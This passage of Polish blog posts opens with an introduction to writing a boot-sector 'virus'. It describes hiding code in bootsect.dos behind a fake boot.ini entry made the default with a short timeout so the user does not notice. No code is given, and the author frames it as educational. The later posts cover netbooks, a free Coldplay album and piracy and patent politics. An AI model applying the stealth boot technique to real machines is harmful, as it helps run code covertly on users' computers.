oszukać windows, aby myślał, że to jego własny twór.

Plik boot.ini pozwala na dodanie opcji bootowania dla systemu z rodziny "dosowatych", dla przykładu Win98. Aby to uczynić dodajemy linijkę:

c:\="Windows 98"

Tyle już wystarczy. Mamy opcję wyboru dla systemu Windows 98, którego na maszynie z resztą nie ma. To oczywiście nieistotne. Gdy opcja ta zostaje wybrana do pamięci zostaje załadowany Bootsector dla tego systemu i przekazane do niego sterowanie. Bootsector jest ładowany z pliku Bootsect.dos i tam właśnie musi znaleźć się nasz własny bootloader. Nie trudno się domyśleć, że zamiast starać się na siłę pisać do MBR wystarczy nam napisać do tego pliku kod.

Jako mroczni i źli haxiorzy chcemy, aby ten kod został w najbliższej możliwej chwili uruchomiony, więc tą opcję trzeba ustawić jako domyślną, a czas oczekiwania na decyzję zmniejszyć na tyle, aby użytkownik się nie połapał. Zainteresowani znajdą jak to zrobić w konfiguracji systemu Windows. Nie wydaje się, aby była potrzeba to opisywać. Ten art ma posłużyć edukacji, a nie szkoleniu lepiej rozgarniętych dzieciaczków pragnących zniszczyć świat, albo przynajmniej komputer tatusia.

Na koniec wstępu warto podać jakie są założenia i ograniczenia. Kod, który chcę stworzyć ma być wirusem, który nie specjalnie ma cokolwiek niszczyć. Poza MBR w którym się zadomowi nie uszkodzi nic, a jego głównym celem po uruchomieniu komputera może być na przykład zrobienie matrixa na ekranie przez wyświetlenie zawartości pamięci, która jak wiemy pusta nie jest. Ograniczenia przy pisaniu takiego kodu wyglądają następująco:

• mały rozmiar: tylko 510B do dyspozycji, 2 ostatnie Bajty zarezerwowane, razem 512B
• tylko przerwania BIOS - w końcu nie ma OS z którego można skorzystać
• kod jest umieszczany pod adresem 0000:7C00, wszystkie wskaźniki muszą tam wskazywać aby się nie pogubić

Może warto jeszcze wspomnieć o pewnej drobnostce. Kod, który piszę, ale też te którymi się posiłkuję, musi zostać skompilowany i sprawdzony. W tym celu potrzebne nam:

• kompilator ASM - NASM
• maszyna do testów - Maszyna VirtualBox
• System z rodziny WinNT - Windows XP Professional (dokładnie to XPLite, ale to bez znaczenia)

Ta konfiguracja pozwala na testy niezależnie od tego czy na co dzień pracujemy pod Win, czy *nix. Bardzo ważne jest, aby użyć NASM. Osobiście zawsze preferowałem TASM'a, jednak przy tym projekcie natknąłem się na kilka problemów, które mocno mnie zniechęciły. Nawet próbowałem przez chwilę korzystać z MASM, ale ten też się nie sprawdził. Nawet kod z samym NOP z góry na dół sypie Errorami. W dalszej części, albo pewnie na początku następnego arta od razu wyjaśnię co zdyskwalifikowało TASM'a. Przyda się jednak do tego przykład kodu, którego tutaj nawet nie chce mi się jeszcze przytaczać.

Jak widać jest to dość ekstremalne programowanie. Jeśli pomyśleć, że ASCII Art rozmiaru 80x25 ma 2000B, to niestety musimy o tym zapomnieć (chyba, że zapiszemy go na dysku w znanym sobie sektorze i wczytamy go gdzieś i wyświetlimy).

Tyle tytułem wstępu i tytułem wyjaśnień. W kolejnych (kolejnej?) częściach pojawi się już konkretny kod i odnośniki do źródeł, gdzie można znaleźć potrzebne informacje. Proszę o cierpliwość. Zadanie na prawdę proste nie jest, szczególnie że jestem zadeklarowanym programistą wysokopoziomowym.

Obraz pochodzi z Pointer Rulez.

Zobacz też:

• Pisanie własnego MBR cz. 2
• Pisanie własnego MBR cz. 3

W juwenaliowo-wiosennym nastroju

Nie tylko juwenaliowy, ale i wiosenny klimat nas trzyma. Nie dość że mamy wiele energii do pracy i nauki (naprawdę?), to jeszcze w powietrzu unosi się przyjemna woń budzącej się natury (albo usychającego lasu).

Ostatnio kuszony wypróbowaniem kilku tutków do GIMP'a i pięknem natury, a także "siłą odnaukową" popełniłem mały prezent dla czytelników. Za wzorzec posłużyło pewne na prawdę ładne zdjęcie.

Tak więc... "bierzcie i jedzcie z tego wszyscy". Będzie mi miło jeśli komukolwiek się spodoba. W zasadzie mógłbym do tego od razu popełnić tutorial jak taką tapetę vector-style stworzyć, ale jeszcze tak wiele czasu to ja nie mam.


Oczywiście posiadanie Tabletu znacznie ułatwiłoby pracę z taką grafiką, ale jak wiemy kieszeń studenta pusta i jeszcze dziurawa, tak więc tabletu ni ma, to trzeba katować mysz przy rysowaniu głupot jak trawki czy włosy.

Cold play pirate

Juwenalia, juwenalia! No to się już wytłumaczyłem, czemu tak dawno nic nie napisałem. Teraz studiuję, a nie tylko zakuwam. Polecam każdemu pełnoletniemu porzucić podręczniki na kilka godzin i wybrać się na jakiś juwenaliowy koncert. Większość wszak dostępna za darmo, a energia jaką można się naładować spokojnie starczy na najbliższe zaliczenia i odstresowanie po maturce.

Zdarzają się nam ostatnio ludzie, którzy ruszą głową i zrobią coś dla społeczeństwa!

Na dniach coldplay opublikował za darmo do ściągnięcia z sieci swój ostatni album. Dostajemy w łapki 9 utworów koncertowych. Nie wiele, ale znaczy tak wiele!

Jedyne czego trzeba, to na specjalnej stronie pozostawić w formularzu swój adres e-mail i podać kraj pochodzenia. W zamian dostajemy link do paczki z płytą w formacie zip. Całość waży około 60MB więc całkiem znośnie. Niestety album cieszy się ogromną popularnością, więc serwer jest stosunkowo mocno obciążony w ciągu dnia. Polecam ściąganie w godzinach nocnych, lub wypatrywanie krążka na torrentach.

Miejmy nadzieję, że prędzej czy później inne tak zacne kapele wezmą przykład z Coldplay i upublicznią coś za darmo dla dobra kultury i cywilizacji. Należy się dzielić tym co mamy najlepsze!

Grafika to lista tytułów pochodząca oczywiście z magicznej strony.

Małe jest piękne (?)

Rok 2009 został uznany za rok NetBook'ów. Miniaturyzacja napędza się sama i pędzi z zawrotną prędkością rozgrzanej do czerwoności lokomotywy. Jeszcze rok temu mało komu mogło przyjść do głowy, że mniejsi bracia naszych przenośnych sprzętów będą w stanie je wyprzedzać.

Doniesienia z rynku NetBooków i UMPC są co najmniej obiecujące. Pojawia się jednak nie do końca zauważalny problem wyścigu zbrojeń. W momencie gdy ten tekst powstaje, w momencie gdy ten tekst jest czytany, pracownicy największych firm w branży IT wytężają umysły, by zasilić rynek mobilnych komputerów swoim sprzętem w trybie ekspresowym. Co najmniej ekspresowym. Ta ciągła wojna ma swoje plusy i minusy dla zdezorientowanych konsumentów. Ceny spadają stosunkowo szybko (szczególnie poza polskim rynkiem), ale też trudno kupić sprzęt "na teraz". Zawsze było tak, że lepiej poczekać i kupić jutro/za tydzień/za miesiąc/za kwartał. Poprzednio chodziło jednak głównie o sprzęt i cenę. Teraz jednak bitwa o klienta nabrała wielu znaczeń. Nie tylko sprzęt i cena się zmieniają. Kupując sprzęt w dobrym czasie możemy liczyć na OS, albo jego brak, dodatkowe gadżety, a w skrajnych przypadkach to chyba nawet całus w siedzenie, któż dopatrzy co mówią te gwiazdki.

Dla kogo jednak przeznaczony jest taki sprzęt? Jak wierzyć reklamom, to chyba dla każdego. No nie ma człowieka, co nie będzie czerpał satysfakcji, korzyści, radości i przyjemności chyba nawet seksualnej z używania tak małego komputera. Jako ludzie inteligentni i często na dodatek wykształceni wiemy, że telewizja kłamie. Największe zalety takiego sprzętu, to jego mobilność wynikające z małej wagi i czasem nawet dość silnej baterii, a także wyposażenie w interface'y sieciowe WiFi, Gigabit Ethernet, czy Bluetooth. Trochę większa mobilność niż ta typowa dla laptopa oznacza dla przeciętnego użytkownika prostsze plecy i lżej na kolanach. Gdy mamy tak wiele dostępnych hotspotów i niezabezpieczonych sieci możliwych do wykorzystania czasem rzeczywiście warto szlajać się po mieście z takim sprzętem. Niestety nie dajmy się zwieść. UMPC to coś pomiędzy handheldem, a laptopem. Pomimo swoich zalet modele niedroższe od peceta wyposażone są w komponenty przeciętnej lub słabej jakości. Karta graficzna to oczywiście układ zintegrowany, pamięci dołożyć nie idzie, a dysk grzeje za bardzo. Nie polecamy więc takiego sprzętu biednym studentom informatyki chętnym do biegania po mieście grając w CS na murkach starego miasta, czy CoD w opuszczonych halach fabrycznych (ktoś widział WiFi w takich miejscach?). Nawet praca ze środowiskiem programistycznym jak Eclipse przyspoży nie jednemu problemów.

Same ciemne barwy, nie prawdaż? Posiadacz normalnego laptopa, który nie mógł pozwolić sobie na luksus czekania na UMPC o odpowiednich parametrach i cenie musi bronić swojego sprzętu jako najlepszego i najwłaściwszego. Pech to pech. Aby więc nie wyjść na większego gbura niż przeciętnie można powiedzieć i kilka miłych słów o komputerach mniejszych. Waga przeciętnie 1kg+ jest bardzo kusząca i miła. Lepiej nie nosić w kieszeniach bojówek, ale spokojnie można wrzucić w plecak i wskoczyć na rower na podbój miasta. Procesory Atom od Intela robią swoje całkiem nieźle zapewniając niewielki pobór mocy i nie specjalnie się krztuszą przy większych obliczeniach. Do tego starsze nieco gry pełne klimatu i fabuły chodzą na takich sprzętach zadawalająco dobrze.

Czas na podsumowanie i morał. Zanim to jednak następi dzisiejsza bajka wymaga kilku słów wyjaśnienia. Wielokrotnie UMPC i NetBook to pojęcia stosowane zamiennie, lub wrzucane do jednego worka. Trzeba jednak pamiętać, że to zbliżony, ale nie identyczny sprzęt. W tym tekscie tylko dlatego potraktowane zostały tak samo, gdyż posiadają podobne cechy, możliwe do pogrupowania jako wady i zalety. Najważniejsza różnica to przeznaczenie. NetBook to sprzęt przeznaczony do serfowania po Internecie. Dlatego też wyposażone zostają w układy HSDPA i podobne. Na nie jednym do dyspozycji jest głównie przeglądarka, a liczba uruchomionych na raz aplikacji jest mocno ograniczona. Dla przeciętnego usera NetBook może posiadać inne i więcej wad nawet niż handheld. Co ciekawe zdaniem wikipedii jest trochę odwrotnie i takie sprzęta jak MSi Wind, Asus Eee, czy inne to po prostu NetBooki. Dyskusje trwają i każdy znowu i znowu może opowiedzieć się po jakiejś stronie po więcej informacji odsyłam do UMPC wiki i NetBook wiki.

Nie uciekniemy od tego co nieuniknione. Posiadanie takiego sprzętu jest teraz całkiem cool, jazzy, funky, czy jak tam się mówi. W sali laboratoryjnej podczas zajęć z programowania wcale jednak nie tak łatwo wypatrzeć studenta informatyki uzbrojonego w tak mały wyświetlacz. To chyba jeszcze nie nasz czas i nie na nasze polskie portfele. Może jeszcze nie w tej chwili.

Obraz pochodzi z laptopy.info.pl

Ratunku, piraci!

Ostatnie miesiące przepełnione są grozą niesioną od morza. Flotylla największych wytwórni fonograficznych ze wsparciem hollywood i kilku innych wyruszyły na krucjatę celem wykurzenia statków pirackich ze wszystkich zatok i najczarniejszych zakamarków sieci.

W sieci wrze i przyczyniają się do tego kolejne wydarzenia, a dzieje się i będzie działo się więcej jeszcze. Społeczeństwo informatyczne ma przecież wieczny napływ informacji i nie możemy sobie pozwolić na hamowanie go.

Co więc działo się ostatnio? A no mamy proces TPB, który kończy się w sposób bardzo nieprzyjemny. No może nie koniecznie kończy. Mamy doniesienia o głosowaniu nad pakietami, Redhat szykuje swoje zdanie o patentach na oprogramowanie, a firmy straszą powrotem limitowanego dostępu do sieci spowodowanego jej rozwojem. Przegapiłem coś? No napewno przegapiłem. Przeciż tego się na jedną głowę przyjąć nie da.

W związku z procesem TPB mieliśmy już dwie akcje "odpłacania" dycydentom, którzy do tego procesu doprowadzili. Akcje DDoS i BlackFaxing odniosły swoje skutki jako ataki, ale wydaje mi się, że jako manifestacje niespecjalnie niestety. Ważne oczywiście, że ktoś widzi, że ludzie, prawdziwi ludzie są tym wszystkim oburzeni. Problem polega na tym, że manifestaje przez ataki dają pole do popisu mediom. Jest wiadomym, że to właśnie głupi ludzie ostatecznie stanowią poparcie dla polityków. Moim zdaniem stanowią też większość polityków. Media nie przedstawią takich ataków jako manifestacji poparcia dla TPB przez internautów i niezadowolenia przez konsumentów, a jedynie przez akcje prowadzone przez wandali i hakerów prubujących naciskać na boguducha winne firmy poszkodowane przez TPB, szukające ratunku i sprawiedliwości w sądach.

Do europy przywiało ostatnio aż dwa złowrogie pomysły. Jeden to patenty na oprogramowanie, co wisiało już od jakiegoś czasu nad nami jak topór, a drugi to dostęp do sieci w formie pakietów. "zamów naszą telewizję już dziś, a miesiąc HBO dostaniesz gratis". Tego typu reklamy widujemy stosunkowo często. Jak byśmy się czuli widząc je w odniesieniu do Internetu? Jak byśmy się czuli płacąc za dostęp do YouTube? Nie wyobrażam sobie tego inaczej jak jako atak na moją wolność. Dlaczego mam dopłacać za moje zainteresowania? 3 maja odbyła się manifestacja w Warszawie przeciwko pętaniu Internetu. Jakie będą skutki na to przyjdzie nam poczekać. Głosowanie czeka nas 5 maja. Cały czas trwa podpisywanie petycji i wysyłanie maili do europosłów. Można gdzieniegdzie poczytać, jak ludzie dostają odpowiedzi. Ja pisałem chyba do tych, co nie mają funkcji autoresponse włączonej w biurze, bo ani jednej odpowiedzi nie dostałem. Zapisałem sobie tych panów, żaden mego głosu w czerwcu przypadkiem nie dostanie. Petycję też podpisałem, każdy głos się liczy i każdego zachęcam. Podpisać się można na wikidot.com .

Patenty na oprogramowanie są aktualnie zmorą branży IT. Ledwo chce się coś zastosować, to trzeba lecieć i sprawdzać, czy ktoś tego wcześniej nie wymyślił, a przede wszystkim, czy tego nie zastrzegł sobie na wyłączność. Paranoja... Na szczęście RedHat wypowiedział się na ich temat negatywnie. Argumentacja prosta i logiczna: zahamowanie rozwoju w branży IT. Czuliśmy to już dawno, wreszcie ktoś odważył się powiedzieć to oficjalnie. Gdzieś widziałem, że już 11 firm opowiedziało się przeciw patentom. W najbliższych dniach pojawi się oświadczenie IBM. Miejmy nadzieję, że będzie tak samo korzystne jak pozostałych 11.

Ale się rozpisałem o aktualnościach. Masakra, prawie nie ma miejsca na opinię. W zasadzie opinię można pozostawić każdemu inteligentnemu do wyrobienia we własnym zakresie. Głupi i tak nie rozumie i nie zrozumie. Moja opinia oczywiście jest prosta. Widziałem wyniki badań o piractwie w różnych kontekstach i były dość pozytywne. Wiem, że wiele książek nie jest już dawno dostępnych na papierze, a są dostępne w sieci, wielu filmów ludzie nie chcę oglądać w kinie, ale jak ściągną z sieci, to przynajmniej reżysera i aktorów będą kojarzyć. Jak zagrasz w dobrą grę, to może ją kupisz, a chłamu nie ma co kupować. Jakoś trzeba to przecież sprawdzać.

Polecam przeczytać osobiście materiały, które mnie skłoniły do napisania tego tekstu. Szczególnie na mnie podziałały dwa, które można znaleźć na vbeta i webhosting. Nie pozostawajmy bierni. Ten kto rządzi informacją, rządzi światem. Kontrolujmy swój dostęp do informacji, aby nie stracić kontroli nad swoim światem!